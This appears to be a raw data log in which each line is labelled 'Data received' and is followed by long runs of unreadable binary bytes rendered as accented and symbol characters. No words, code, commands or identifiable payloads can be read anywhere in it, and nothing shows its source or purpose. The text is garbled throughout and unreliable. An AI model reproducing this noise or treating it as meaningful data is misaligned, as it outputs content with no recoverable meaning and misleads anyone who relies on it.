òtBÙÂqÝ³RqÅþ79Q;d$('<zàéµ+ÊÎ¦ÁÛÌ(ÀÜÊò®ô]`×ªJ$£{(&»ºbrü·Ì(«v6üºLÝu¼§x»ßNÍnÔïm¾ÚQISçÓûK/qÄ=ëPGrÚwÙ¡?¹Ötéí?x°d`c³
Data received	AÑÎXõO¥è¯¦Û¥÷I«HZSKÞ÷¢7YÍýy'Ñ:Î" 9oð×pÑ$©.Ï}4¨ýéZrcåXÄ\äGX =4°EßtK¦l"9LHÏ¡Ì°}kÄè«qÅK&Ù÷dcïýL½ÈFÕëÞ2ß ¡íÝº½û(Ê¤ºÌò=D¤fºW`<£h¥+ÿVÅ¬ªó³åK0 ßÕ-ËÃjf+ÏMz<¤ï}FÙlÂhöY¿H>ÞÆ/¹lðôä5`li¯JJ¯ù ¶ÊW»bqéÒxSYþèj;´U"ß@jêãÿ¾^æñy±Y+ µy#!×W,¦æ4ëMÑùËp&éÒ¸{'ýFïýèC:nòÙ·+[\Fô2m(¢8tW¾U%ºY@ZÒë¿Þ ýNMÐIA¯j;-nÈTI«¸d9"·?ÿÖ-«YÃy êyz^Kíù§TäZÐQà&jÑÅs`#4êÖ¥ Q»®õEXiæ%tÒ Ú ÊÓkÂ£ÀæPççmì@C9W²yõ@ntÝ ñý,äOæ0°´Ì§ãÜIkf"ZqæÂ<~I^áÕ_'KW¡óZ{÷Vei¦þ²MòíàJÉ\:ËÝMK11ZêE·)ÝÌø¾<@âV!TQÜæ[¹FÖÏm÷è¡x¤Îµæ]©ü}24ùa§'ú¸[(¨ çQñm7Ilõ/Óí¦YºÔ0h©+ÙìQ>¿Ms7Ãølz+¦¯h>ÜvÄ·½¦BKØE»ñÌ¬?jÖWXR+P2Y<ºå·,°åÃ:xõYÔ¹G6Rÿ S7£2Wû3ºàôeÇ/3#ÎÇ"Ê) ÔL±Y¾¥÷L[¡Ã&JNòt&\ÛúãXþLòüÝi{>ÊÓYòøã>27CDàªÌý2¿ðÈb¤,p9^NÏÊ¥ÚtÉâCô§1Dì{øÅãt~0qiù%;ßÔÑ1KÚmtVï()ÙkG_;û#lé+¦·]o¡L8ßè×§¢½÷×wFB;F¼ù4áa6%päaÓ¼¨ÅÝé\àIZuoÓTÍÏÎ@£ße¾ìÜðàÉ6\r¦ÇÎÒ {ÏÇ¹/´OCZ4;6ÑUY©äaj#YÑT,¾^svKüÎQ)Ñ+dî@©s6YNÌpªEâÊYµÛãao2y± ~3%°æ×®fÝÚÇÓÑöO¨kn]5åÔ¢µ\|[FëF-ìÑÁ³ÅÄîû^}¥Ê:(Òö2¤!ò[Z£feæhWø`94óøº¢Î¶êWW!±tÈ ðLº¦f 7ûJ½§K=. ~=SÉòÑm*}¥Â5¼bDõ¬&óã3Â&·âj:>G@8ì"yv"³l¿[§à8Óø×ÿ¤ò1CuiËzÚq-ºÈ®»Çmbuù=kÄº¢óÛ=äõ Ý4 tNIO¶ñ JJbÝu¢E s^9tH]^Ã{5oÕ=0Ì'¸c7+Ú@ê;-¡ Ë<\|ê>OÙ
Data received	(ØNe-³óFÏ§Ðÿ¦!1`ýKªÕ2Ôq¾Î ÌÀR<Fn5Ôös¾-øº:%fþÍQ'@÷xQt1ôvªa%GFÅ?®ú@]ç.ððnX¾de>e;<-mÊÜ/ó9/y Fy4ã³H¿«SMÂó¡B&Ìßø<0ý2Uû#¬Î&«õ:kÕÑt íFl4uú\B<f¯Úá´8'$ÂN rdÜÐ8þý3®Pv¢Z]+a[oÆzvÓò+$E\TI+d§uõnFïµ{»yv_äâü-¿eÐK#wËÑ¶núÜØîÌ[¬~W§ÜLô+J3s÷@µ3ÌÖI]1ßÿztûêØ¹³¾6B/éEJ7¬:´Ê·2P]^¬_ñüÄ½'kÌ°Ñ °oùº#jX4¶üt9!áÈ·®cTÍ+eàîÑ ï»ÈÛaIMz¦u´Àód©½Wøq(1ÛëaêûùÞKLÔ7Ç¢«múÒ¬N9¯Õbz·U°k$«i¬þ\î?ø=AÿºV¹öÞ©Z°ö~ò'Å0Jµ(RM£wñ:'£v6ñå Vüð¨í®(j"ÆßÝýâ£¢3ÔfUAi¥:WY¶º_tí¥é58´À`e+z2àÿPlP&éSþGe½LÞ¤Ý¸¾aü¿®^@+kõ¿Y¼¬uuVûó<]íûdL,FG{4J¸«\|í¨´iûôÑÆ(µ×±)ed2vÃ1þF#ýÑ¡e¦³ÂÐ!¼>Ù+¢Ëý5cØ0ó~Ê¬ðZ¶,c&DØ¯'^1¨ÑR¼cqB±D¸IjªBß¨Wæ5U$\|ÂÏt:¢&ÀÎ^1[¤1"HýlÂjsÀnB¤ÿ¤Lë@ÇêxýfÁ !ÀVåGÖ"nL}ÜÐº79¢e¾kpr ¤ NØOGlñüá-%Ð_í.@.iÃOE`(G)±jKëöÍÄåª÷¶çU}«ð)MIc<YqZò])ó»rü¡Ùä¤¨Ð ¾oi8r=óÃ?¹?Á za¾ %éàï¾;¬,ö'²¡g©7_ÇåNA×ré¹&CW#§»wb©Ò¶% 'â:cïûüB-éÑNEÆ§¾úÍqèhÛ#8þõ_ÌVx`;W'§O,é+øØ²¨ ¦G¸íùi×Ñ¼¿UòÈ#Bó@¦ZúC½`)ÿèIAñrà©êãÿVñ;;"³"`k¦ÝÓêrR5zÚ'åà»v#cÓ5Ô\|ÏkÆ8Coã ¾N,ËrK¼$YCzsu¬¿~pÙ(Éí¦ïâ« ;¬w$ÃKq$8ÎÝX¢¸»´Ë+2Xè8}ÜZ¶8ªå~5ÚpýÒuæiä¾Cô(rL·3l_{¿Ê¶«!æªglÖ^s¾¾És¦q²6_JÂ`Ï°&6KÔHûÆ}W©~¶Øí@zÇLeÉï<ðãÚu9J2Í._ë×Å8Mx¯Í]ÃôðÜs´ìÝ"TÝ Ks\|!p¦ó+Ñql\v<nÌYâz]«
Data received
Data received	D¹KdîÖ¸ÝÃüÜÓ¢øûXFwB¸U;C÷>üi âd/bÿ³BYÿt qüÅwg3 ¿2r§Çòû]]RVô¥Ç o¥jä3÷Xð@>,ïý%Éîr ,Jçáå$¡W±ÁñJþnCSjl\7bÚ(AHòZx{º¦qºK¡yáRâêÎ'Û¼cE$¼tÌ!©z) õìAçøÄqµÝ( xïëÂN¨®II_MÏ£ènö¬l±mÎ{0?¶Ì¯º<AdI8©Sqê¿8±: gåëáF5£FÀIÊø2M¥eP;«nïÓ¡1¬1à2",ºæÖëYðº=\úÙ¦óYªFípB`@ÑÕë×iÄá@_ôáÐõÞ~ãaêkÃÝ0fgI=i[ùc¯<Ç¢ÞÅ_Îîw6ÓÖGO÷c gìÓëïé¨L(~ÑÉ -[yÀz.:íY¶GãvM3qPªUÅd¯¼ì0Ì#ÔtNxÆó@g2H!r}NakuYswÏóÅ.ü3Ê²kÃKnN.³©Îx³¨.ós6ÓéØòèÌ8}¢õvÉ»òú°çmùÿûoãÓ]&E6h¡j´ß½Çìâ=ÑÕC[ÙÈÆníy¼N×wùp?ªÏ)'Ì]E!Ö"TCPâòøáÐôi¡óØÓÀï°é¶¤ä/yöeà¨ô0üÖ»a6w;3 Só¾ÇÐ6]+Ð{â«5¨d®Ï^_EÈTt}[ùWâ.êÄècx±¸æ=ï¸ªß¬Iýõr×¶¬{$£Äz¾Õ´g¦Ï°wzêjÈ¶Mq´T\ï¼á#eÂÈ\|9GbïxkÖ~/Ê¼J½Ê'xxB¤Ì$ÊØ;/à R(5cñüÊ9@21ü4>õ7Êæ>Îª#}?p@óÍý8MôØ¼×[fÊýÏH%ã¿ëgúà1º¦ïæ½îóÐ¾æ¥Qbu¤d´ #¤xúéf)ö1)xxä»XCáìÏý6ü½tºIÌÐýEÊ#«Êûù¥sG".?ÞJ Z r?RVìÁ³üëSd\b¹ÓwJ0xW P6÷úýw÷5qÐuºznÞJ«§í3P#ã¾V½]ØÎpÛpþ÷çÒtÐ6è® ?eù"´ ù«óÚ1ìàê &e7ÆÞHIåù¡u°WSÅ)Ú~ØÌ¬¿\:Sbÿ<K¹w9c%ÿMIPùõTµ÷¦Fñ^Å¾cÚCÑÉmQê[ºk¾A_ÌË[/Ñ-«>ârI#`ôµ1Sá°Ù©]Ëb>¢fëÓuÿ9ágD»Æ(îXà[Å°^WH}«ÇLÁjÕDôRïýpëß"lxñ:l6ø]ÿ8ÎÝ3÷¤\"ýp8Ë¤þï.=ö[v<çú¸H9¡±ÄH¡¤6«9 lùÑJqO jµ»¤6iÇÙíîÜü¨ç!ö
Data received	;Äò±¼v=&ÈRÝi¡r%(äý×ó¶xáèTØÇ¥ í(aoóàÊ3¯gj&Ysâ£±Ôñ~ý%úªõhäÉRñ{OËcÂVEUD^³YãåétË´ôðÍÁë3Õ¬Bénô WY¾úßá´Û/ö§x[ 6CµÇ¶)µª}é`&\|ÏH¡?¯þÒÖ;í¯áÚÙÎk1)q-âm\¦BË¤!pwuïÛÍ=P yl¿:¦@ý½nZDWXÐ¯tÚ¾ó:¥ûtÞ,<ÙèL©.-`b6 ZÁ¨Î\Ãe§m7²¼hðb³Ã{@vgÍ "ß¸2ªÖu=[Ù?I÷"åñ4`Ýo¬ÂÖ£hÒJ¼Yfd½Ð! æe¤/ÿÁX2¶}P3´»Ð7ß¬#ËÓ×©mu.+à&FûÝëïÝlaºÕ>iÔÇÇa§i_Òø¼§g ÚP!¨C5ÒÑØ2@~Rã»> Ó;g3Â6¿PbEæ÷LM^à£3LóßVûÄ5Mfzue!xÉí{Pÿó«ú»þU^HÀ:ÇÙ Ýº£æEÔkp\|±÷- %ÖôúNG¦ÌY2å»aè,&fµ~Z2O3Æp2Ç·¥ÀËºÌ³P;Þå¥LGÌfÞ¤ðî%×Q¢ðïmaÉcîÈSÌz{W~ýá;§A^éZÂÆð^~ 5QôçúN'ßü;k?j¤ 0Ñ ÃÆIðH¢¦¨Áòõ°®gÂéG¸0pð\ðgqJBÇ='6õ§3ê.¤cûìõ[§>àûÙîU{ðyVËÌ7ù)9¦¨ù÷[ÎÃPUs¿\ÎVE Gaî¿ß0íÁw]»N¤jNª³ÌðÛ!ôS:Ú/»kZün} ÉÍäv¬gÄyXy¬èø°SçÏ¸9äåÁ0&fõö«´Ö;ïáãã¸kq©¥"~°ªèt 'TÍA(_Uâ`Õ°wi'WZkb/öT}Ñ¹»NòÄ.WpJBQë»#Åöëè4¼{¦Î®Òj¢~½U×Y29EÂBóLL+!×ÝôÒùÌØý¬É¯KÅ¥¾6ÜÚ<Ç¦.{ÄI´[J ÕVõnYFXÏfÁ õä,#d¦){Î£ÞJ%ý¶¾xöäë)U¸¼EEj ³Í9à''øhGÐ:§mm@&]Ò¡iyÈ«ÿ¶qªD°Èr.»¬øQ¾ÐxËúútS¡ÉußfM§äT¢æ"µg'r~1n6ÛÕ¢^Hz{yÛ·Òwx}jO :ÊÐ·ÞÖBpp²WÒHOÁa\<ÖÙÑ2sµÄiì FÖÕcëMæãïJé3ì{QÕF?ºò\|¾Âhn='\,E 0H9ri¶³¸úîTÙuû8IåGrªc[´³/¼¯Ò40s°ãÑ'ly!Á°+xhÅäU¸wAõI:õ&å !LcíÂäZ<.>Ô<lG²Ü¾a5o«ñ·¤46k_{èzÝ¦\|G¼Ö¢#²²iBA¦õ8ÚÆÝ6 ]ïh ËøifÀ[Ea¸KXÄ
Data received	¥=Xqå3ÝýO³ËÏn"YS£B¿ÖïP\6TÓzñ¡Ý¢èñSÆL@ó¯y¥®_ÌIÃë±f8ûtpÆäþù!B(¤É=Ü7MÑ$L£ ñÉ> ×;RFÉÖÁ ¼øSátô `,NìÝ`úÒñÿz7sÅÞx¦]Og£âè öK¢?Ë¡.]9«áSÓÔJbAî:ì¨A)M«u+Í@ÒÊ:Ì~áe³]PzEfØN7ï\xµ]_BÞãxcñGÞUH#÷ÂÙÓ©6/îý[1MÄ¶Ä¹SË<û·´îÔÉ¨!j¾Á'îÅ<ã0¥1âÁiÄ¿ S`,©6[CSØàUUµ-Ñ ¢f iâØuô 3kQ\jiéÕ9\ª+²j6@á=ôkÞñ/JyjëØ"ó&BË7îéÿÜÅ³0ç)9àCç@ÌÎðÛ:¥lrÚãº:ê>bäÚcÌ?ãrý_JèÏOTf<bs´ÁÂ,2d2ÅÕ;AE£y³È3yÌ¿(L÷jdWõêlÁ÷åÉêHGüÀyÂñ"G+IÐJÂÞZÎÅHù¿·®tiu÷B!ePÎ6éÿ¥Më§)·BX®ûâEÀ©WJ¢ ¸püç;´6uÇõ°Lò¼GÑ,å¯ {¼LçífsUk´oÓ¥)2yÊFC¦G¤þW×XïtþêûÇÉõ×$µ}[£ôêf¼Z©ÉûévÅç+îh(>¤»àð¾É_×ìÕÂº6DXqÚðÓäs´õLØD¤x¹æ 5h¾J:e®+ ü´`¶?oó³ o}Qè(\ø-G~¤#ââ¾ú²Å²xµÕ!£DÿÐ-H\|Ë¿µ÷uyE#Ôóû V³VûÚïÝ","ÓAÆÿ9Nã¡ÎZð}üðëÑfÀÙÂå/Ê(é?/½Ä¬bVªt6ú÷0XÜðÖéqª1 ÙÂlÈy±Rcñ¬JLÉ2()árn§Á¯¡!:~Þ"ìç M.¢`F¡RËÂ6ö¢ÔlJw'¸rÀ7X~ëÆØÍ¤ÏöÿVÝÍ®ßÂqÌÄl¹&>¿cCÝÝ÷0!dPè(õu[² úÍþÒq%8lYLÕÍz#Êu-¶1AU]áùÉ¢¥>ÿaWõ ®kØÜäËJß/B=FNæìÄ¤áÌÝ?ç>é ¬DØµ:Õµ¤tÁºc1VêÃ%Ô¸èÚC¬ÉÑ21¹;>Ò¦±>¢MChß¡²¿§G¥ßroRÉÁ\|$7y`³p@°àPJ°ú<g W)ÉhÛ\îi£Ëó@nÌªÉ$öMk©;tseÌQ!(&${ÖzS)@G¿O².î¤{IöäüÁ fÄ %¦!ÀX½«ÆQ¡ÕY¸«'´rF y6fSfJ]y0«E*i¼¿ëS'Ëñ,:ÖuÌ¸6<Ï:Ù·yþîpíÁg½NÞëxF#8´kø¥â´Ímë¹ø)ËeÃK?%YQó`rÚA´à<JÊ@¢þ¾_0;rÕñµ'/#BÚ¹?JÌû"´÷l!:ÓÍÚ[ÒëÑÖ¿¼ ÎæGXtB×e9¬Øi
Data received	Ù5&bóÜÐúG#Yuïø²ýG¥GI;eÂoÖ.y=N¥Äß+ªDY[ ²2hæä´\|¡?xÔ³@õj¾ÒÂS,k1¢^¤²±C[b¿ã·' âÔ+ïjé»«áR¡ö´øàzWFÎGuIp:¤tr<ñi¹SÞÊBæßvÝ}\Fk÷¨Ò%´fÜ ÎµÔïÇPÝóJÆ^+%ÃüÑ³NåÀ¬¾bÚVm³Í-îì<_i8©19ÀN&-ÁëhcnÛÆSBHâÔ6å8æÈÝ$¥ð¢®N¤¿¿y£1«ÛWî°+kF`04PþLªHíoÛ²&1.©NËZÉÏ_·ïØØóèlT©q»²Ó¿´t2 ïmÙe©ÉY÷[Æ°3; jàK×ÆØO%^.ªÂã÷-,û"VR[xÌ+KEb2ÂRÈDÒèEH»}¸Am/æ±i\F~3nýðK¹¸?«§ DðZ0Fuä"ºÓðÃ´«\|EÝ\|ªWÖ~º=V}ØwüEU¸ÝKB¡äÄûwF2TºF'«å2ÆøªáóÍà<á2SêkB¶dv;³±E²F=ÂÅÅ0Ì¡,#¦ª+%ÕLãtK<qø#C 79p[~ÕòKB`"ËËqxÈQ.³p²!ú'ªL£ÄÞÌX[jâÜYä¡»øøxÛ åãÊ±9÷õìfâ¨ò¾9-ÜõÔÙBgÔô:`4.9¯$¹eP½×ô×3ÅA Ì4f=¶ ÿ¨\(î!²hwß8v®D/_mB%ä5ÅöÞ5ëpi¦pÄûi{®Ê²Q´ÿA@ÚàzÑÂ¿EJËi-³¸À6ô÷yv >ùm¬ùëfHöMm\:^vùé¸Æª2å@réUõòÄ®©SZc«¾ñå+ãÁ@U6¬E½,T-cËd@Jîd]-Å¹èØ"Í:kÏâePÔXÚREÝs{SÚÿÔ}ÙVp"JöµãòÄQÕ ó\N©æFäãæºüï;cR:ÉôÍ·«ÜÉª2¨=20MòÑð+î ã§§#¬uE©6¡-ØùRgu´Ó9Ô ñaé©XìT Bâô÷ñÿÑB¤P¦ä#\ð¢na³<{àèÓ· 1Ù®£vùX¥¸ãv¼-]s]l5V<¬]YÝzôÙ¿£íÞX¯ÆpÙaàä7i '<Ó£\|Ìª ÎY/çðûik¾T%¡¥#õ÷yÐ]ÌÐ~Û÷¿zÙÒIÙâ*eb »ÊÝ=lßn`:m'¾)¼ÌP##ÆÀ¼»$ÿÉfn:µKi!Ddæ%8)ø] ×¸NµMÝ6IçUòÔÊÙtN!(Üz³Ok ³~·Âe- û]Ìr¯åízî¿oÆë¡/Úd]ï¸j¢ùÆÔ²ò·/ÞÛnN¾@{lù¬aùv¢eÛã &jÑg^?Zã»ûôc»ý$'Í;MB¨§Êõd3²Ëo~Òø:¹k`ÿkÆ±ÿJ9ÉPFDSÄO\|%2n¦§µÕ6¶ÙÜ+]W´Ã¾Á <r1,ÀmÚ±F OV
Data received	å³«ìPlôuÁï@Ë3ÒZ·++âôÌçTAàkãpr6av0ðtUä n(mE·ÙÖY0ÓU¸óEÚ^9ié+#oÜ0Gð#TA+Ì5j=Ñµ 5Éfè[!!Í`4ËÒG XÕ8ãôº·Ò³Ñ#\wr VÿË¿¹Êí¬W>¾bG²(¼mé¯pQßÊa2ãê÷¶X)'~oùPtªèûÿ)[JCIÑ :}]±¥,ÌDÄ'ÇØmÿæ3kSªÝÅ8Ö¨îqxz+^¾ÒYvãü¨¾qNÕ×QH" ÊEQªm¯äw3ÞÛps_&~Ãñf#æÍBhVÜÏ÷ü5cDàØ§Û<%X[o ¦¾(Y>\|6SÍÄ4.dFGZ\|Lsòÿýjã\|î-"úã FUiÛì¸©Ç÷,ýT$Ù'ßUC>° Í]#ó§Meë[ÈÕb9Vý aî¯æø-²ï$ý3CIu»X¢ü$\¦Ïdã:Y8d¶kÙ¸ø÷É Yéu¨k÷ÞÊ£¡%åÌfNOË¸ÍÖß_Hh¶eCÏ;\gÙùoë×Ðoðñò1o´ÿØÇL~ÇSý\|ÿ½á=õVøËö²S"åey¯8]ÜAúÝÙ²ú÷j ;ëÿ¬ Û§0£Èwkg½Ê6µ_Î.\j½þ.h9ÁV¼¯FS5©3â´ÂJc#Yÿ`¥çR´óÍDd.+ò©¿p¬%#´zTïF,µ®È%ò)(AógyhæO] "¢ }ÿæï\lgE÷Äqìi0³bø`{us °ùÝ`TõóSøI¡i¡é¼HAéû£¼#÷Dùv ÒËÀbGT¸ã¾ûôH[ìÑ¹·m3yw¤±jH¯¤!g$ëTøþµåuX@Óq&ÊîùóOR@äáðúÜçOÕx§¯>S9Ænk7np)cgLÐÙ%JoìéîÉ-Øéû}DÇieµò5g8ô§G0Sv¹Ï¬·Á0ðzoj¤:ïó!Ié)£<Uø)EÑ;¹¬¬é ü¹Çô7·HàÉ1{¼ëôKÄü5H¹ö«s\}cc»¿\|RÞÓ#g!fnµáMJ µS÷dOîyÄÍ:rA&7@îgÝRtÞjyd¿6ÕÓ½¦[önëT+ ÅgAÇxÃ ÚyÃ]º/Ú[¢Æçü©=uÉ=Êã D¡a¨©.$:z¨¿Þ*_Ò³(Àá¡ªÛB#ÐËÎ¶Y«±Y{u¼»ú ¨7z@â\a\_°Í©¿¡o:älïï¤dÈèêXGõÎ MLï`ÿAa«±R©bV´W\|ÿµÉëæ qØî÷¦Kæ0fX§Òo«²DO üÒI¤½¼R)óñfÃ¿¹ós<(<"«i¾xËÆOØ¡Xúè7fQ?ÛµJaUNãh©HÕL7ÚgáíéyâPÝB(·â·¯jÈ²Öôë Ò¼ýz[é§Î\|Ù5ä¯¨ÞüöC £~xJ)"Æòdúç>c3Úæ¥úÑ
Data received	É¢µhPþìÝbë¬õpÚ\ Hlô×ck2S)GOÃgÞnf-eÕüN£G&®\|¿Ô{Íê~;2ÇÚæ(4ü4²wÚÞÏpHY~ÅÁLMù©ÈTÒ;'ýtyµ`ä]G¡O1ìæþ¦µ ÍúàZeEç{§hG-È Q0¹oHÒ·¦Vër]õbbÐ¤õ³¯æ!Èà"j üÝg>ÃpõuxøÀ];{\¥C-T×¿Eúm(c½®Ü;ä:§Ìyª¡R&ü;O\ìùaÃ&nïWoóB8¨W?<¾^¿7táXF_Íw+ç7Ò\a!a²CQ$cQMÿxdpg¡ÛÚÚÇlã\Á]è\|6ûÀçLeÀp#® ë</O¸ h.\=i)KK¨¡WÂ%]Ô¸ç4ü$8¯áþ${ Òßê»æJbác¿CÓF?üÊM{é¡2;ßy÷ÞFD}ôïµA;¯¤«_ÎèÃ w±eö9$bã¶¶± â.·ËäêG/º6ÕÎäÅ4a #4RüB´}KÑ->¤ÖºÉ=®-.¡(¶·[@q'ðl©<á´/RëÔ÷ÉºU;J-òÑåd¥êÓ\8,&Õ§}6DWxZñ±¹OT]k´ôñe²À¬¼ºPùÍ£%Î²]©aoZ·§L¤z«KØzÇ¨Ò,tª¢óÛ$SXW2ôgµ¸¤kî ZÆ\|P$ %3áì l«÷þEâkÙw "»EÄwqjHHs:´:ÑôSã6ÅBUÊ¯ùÇ"DL£Ù\¯é<8á{ì¯z_ËGæ¨öÊâHH4qÑ©¿Í.u-óÄó³/°·QëÁ\8éxHÖàæéwQrïåßóêÈzprSEÓDî¤J±·h@ý´öeîó[qÐÓGGfpÍc¤ðÝ!G¾ñ^þ[]õ>9¢7 ÅWkyë¡ Ô~/òèz1Ï3ir§s$ë;ÛáúW´¨kLwYèeØ\|±uUL´-[«ÙævoÚÑW {Ur0ÃµªRÐ4KÕ¬Ô¶Ï#P½äæÞ'íÄ2À>{ß÷:"öÝë_>2«Ñðôeùðüùy1øhxCê\|ÌF¥,x8ºNËÖ}£.qì:hîd2'Îókã]´5nÕn¡ßusµ¤më:ûÄ%éëGûÆPkÎ#øvË¥@%yûsÕb/ÄùÝhêIè»6ÈÊ¥PYÈGç"û¿Ëd36B5ÒØÿ²5B8ýÚò¾c + §¥±\Îbòóx¤&i¼Z¸ªIæòóÁCi.¬zcáBçøÏ÷oÄd5ô>TJÉtw£¶Æ;²® 0Q1©=x9p.ÄvxGàÜK:¿Ë© ÍÅpÓ?öáð2ÒP`½LÁgµwûö(Ø%ô¸òEò·ßÑÒíæ¼÷Ê×~¤{B¯~Î÷x?;§æq´jÔÌhNu Ô@âv`dH5Áõ8ÇWôßàö¶phÅÞÖÚz^ÁuÔÀó¢ë¸múàÁ¨P¸<s°=YXQì
Data received	/åBälö¨QI1çw\|çÀøp¤NeñJvÈ:×ý]üKÜzc4¤Dn¹Äé×øýÏã\¦öc-]Ø8¢»Eþ)Xü\|µÈìg¡Ã>0[Ë¦À«hç±ß! !¹"[ ¤í¦yjcÇ 0 °SCpðî¯AbtO¤Zµ¸µcæ\ÛtÍ³é{8²{Çd¤IÐÂÀÍÀ2#y´ò²á©!Ûlá/?eähYäfÆw#x)å?ªÄ(BLCJz»¦½Hò$¼¼qòF}eç¬a±.âÔûfE6¦ÜSÑ0ÁKV±»J8þg3ÐYIùB^Ãó1gl s«ì¨ãÊìà=ðy44È9N76e³m¾âÿº²®% ¨j¢½ïeuöÝÝ-KØá>ñíU+8à[mÝ GE3ÝcCÓó»Ctßtf¥úÀAÊXÚö6ïÑOÂkiæDÙÉWÕy=ÁxL£îN`Ñz¢7â<'2s·¶!÷+jOgè- ÜÆP/.nªK\(f©yRXão¤I¿ÆíB2Íô°XKÀ?°Ç¤Þ¾±¨Øy6$ï£E¿D®mÍÿV Î¹"NÉC·E? glubæÓ¸9JþiðhÙ¶¥³ÇôªÍþn0i5Nî%z¨"¥?\|µálöy6ÉµT5b¿c²¥\Ä+ãéÀ0Ø´íÎH§lm¬ºhð4t>gÞéA¯ËÞ>RîN\|ÍÆþÒl¿ÆÃ¹MÒØ¼(5+·?34£ÒÓ»ûXöýLû^NUÅF¬Ô&»~ÜA 4GÅa{·6hþN»Ø]ß=ÿììºgÝÉÆoÊB';e5mÏúÃÑQV#°eE@6kQý(#0Å»2´ÔC©â}A?S¶Q>HÏúú³ùdó.ôp:++æ 3áð]]Àè®]²XÂzh â5Ü¯/ãøç08ÞËU(Å¼Ó¡ÇÞ a ?w©"Ø.§ )poÑÁq²Â4N U8ì+DågÍ®×2ÝHSW°-½ýçÁhË$r¡©ýRÒX[&G4ÐòFöOeîl%eÁ}åîáè\£rvÄù4¼èÀ~º~0æ8ºe¾.ÖQËN¸ uÁÅ ÔAû÷n¼E0E-wD{·y¸«l{ÌeÅf;zp¦[»¡`XZ»¾Ruü¼QÿBûzTiÜÇ+E¾(©±7{!r¦Arîke=øÏ=:«}ôãÜÌüÍÍÿ# ³_^-nP59©ésZ)ò-lÔZ¸~ÐXîÑ¦D^`ÞÎEì×ÆEö¶\|´¹5ÏßýöÓßbÏ!8Àî%;7'ù©Âþ¥°<ûHý°òNcAuëÉ7ÖË2çÛME;Cla \2sýÎç<gGlq]/ /ÇÌ´t«ìKâ6TÙ*VÛÝy<Q}ëV:´²´èôÚãlÿª¬¼yJ#Î {Úÿgû ÂpnÒ,KíLk³üÌ K;õ³ÑÐ¨ÝlÞä4MÇ{üéIÔ9ï£¹ Ê¯Öugõ@}L"Køå(\|åèM¤Ñ¦
Data received	ÒYÁ¸ö$mës\|XèÈAë÷>+ùßÆt'$ pºk×r05v2xo@¦fÑ[¿¦0ÀøßjîÝ/£/^¹R$^0Óp<®Q4¸Á0:Ë¨D.¶ÝXãã¡6þÈEÖ´t\p?5$¬á5ñ¦Vt)]¤è+æº¯ÖÇ ùÀ5uÀi£@RfqÔPº< vdíÃnv)ëy%ýØíÕzXa2¨GahÏ²ovÓö/ùçãäm·J«g.j-S]ÓbZsï¼¬ÈKRg>åt¦ÐÔÐ°ð_°ù]8MaJÔÅîX)Æx®#ÅïÕ·ÄÎÓ-£ã'"yüô§YX=¹KÒcR?ðd5<¡Oúãz5.adMl@0² ©î«¿fllúÌ®A\Ü¬ÎOîÍü~ÅTÚªq6wDd34¤ÏÀlEcÝþÞ$ïTkUúEºMÏ5ñnèçda¨vÜ¤ß¯¤É³Lü±ôöÍF,É<fE%ÓB§Ée§Yxt³§Y&ýÕÒ°ÐX2N/ÒÎüE£³&sá¿_`t\|fa}äøå$ôÎ>Ëx&´µ¥×òl©&q©áÓ£6yù~ÆdF?Ö³;°~®pÕrOvãvHFNì_6MÌÌD)®ý¨¬ª}/Ç#Æ¦!ÁsD{)Ð7d0É0ÈÂ± ¥VéXÿªãrÁ±ükó?bþ²0½ì®ÁG¾ø Ç4Ñu'^é¶JÄÊ}MRdíüV,v¶µ\)M¨ø¯IL±1sIÒ®W}7x% uõ_î&4ËbAEõTlúh¤]Uü´ô²[]ÚêæµºBÝ¶Cj} õ,üVÝøî¿D~NO í=9·°a/~rÆ]cÎeÇèG¥µ4MÚï©³·ÊÛ¿¦ÌÆèìü0YQIK%vÁÌäuzó´üðA.Äé4¯ÉPÆñôa67xÀrrAÔ2OsÜ¬´>éP'a<c²t^S/WYÚ9dsn]p«´ÛÃ7¼Ñöès¦¼wÛj>³±0¶1Î¼dê(´Û°ÝOà¾øõHº¢aO\|7~Îçk<¶¦ªº¨HaJfÅÃi»·!Óßr'<Ç¿¤Úô÷éÐÀøºóÞÔ´]ã§ÇÂ¡#×à5(XæÉÕ}'ÄÄÆ¼"ü£sê/ßuø:}¶UÙìR'!Ã=^þ]EgvîÃÔ®Ñ,BÕ¿aPÝ$þüªIL+VëøÞB(g4x½q¬uªÆª£åó=qÚ?À:ö¤ÂVF·ì¡¢Nòô¦Ks/kOÀI¡5q<þ1ªPÄðl=:ÉÖúù±¡/QRÉr#T0ÛpQÖ¶¯å=Û¶ë/æocÁ×Ë³°-¼Ê¸ QçÂ5síTì,}%[ÚË=Bdøo× jZÌÍ¤Ë±Ù@MÎãêLLvÃîBÁÏªýC{¨RpäÓÀ v~U'!¬,,ù^Óß#Ñ6 e¢ù _KlJ¨²IÎñ²ÉøöÁ8ò?>þ=ÎG14ÝÇÎemeØ©·©'è$¬1 s¥yjHÞ,EÞçfãïÅ\´Él`GëZÛFç»å òX
Data received	_I½WÑüÄ&Ë¯Õþ'lð7Þä±_Ò½ÒjÚb\|yayÜça{b:þÉ¿p3ÅõÐ+H \|xUñuR¾ôn5ÿÓQÃñ1ày÷W(72lô¯Ë_ì¿BÔ`Dm´W''v´Dÿ}b£f¼ Åîý}k&ðÑ$Z;£IÓedRI·Å£ÜÚ O29ÌíÞ%é7ìok`WÝ¸ìm6n¹f^]VLÏØÅ æÒzVÜÞ×Â¡®mwZÈ©ª7ûíÂ¨º¡7¯üaîå!wsê¹¹¤e½Íu6¼÷+)-¦jóàn/ ùñ¢D:¬®Fqp "ÿùÐåËÖñü%< eèÞa>¦G}{µôÁÍbXÎ:ëJ#Ð¾öR¥ÆYf.ûèåWÍøxbã¤{ZLþÍçnæÃ0Í+ûPA¡Q$`í£Ìl@SòÏ vbï<«³l«&¢IéA.ä0Î±V2$¾cGö&Þn%dí¤6§ÊÝ\V6ÃòÒL6Óº²(WÈ³µ :Ð¬Æ bi0JæÞòùòÛGÊÐ §ë000{ÅIq ÿÞ¨¡ÊÅ)O>@±IeþÊ4,ø©1vÊ7!ðZÊ9ÄtBâô}épðd<3ÙèÂ#\EÑÙázý÷Ì666ø«XÇÄ±g¼w5±«£Þ»ÏrÒa¯e²{¢#êvÆ6 6) ©D[è#Q}eRgÀYl=:ð\|p°B 9:-SUó×Gà¦þZXZÕøâà¨[±Ãjï0?@à×ìn[Ø¾±>fb]4\Â9å-)b¿oÞê·Oé«Àù¯äXÖ¶a'óy«pûÞI¬´Ëé¡·ËÜ§8+ZS ²DôõÖ¬'±ï[#èºÐ þÊhô¾ÒªV©¦ù¸Áþéªó 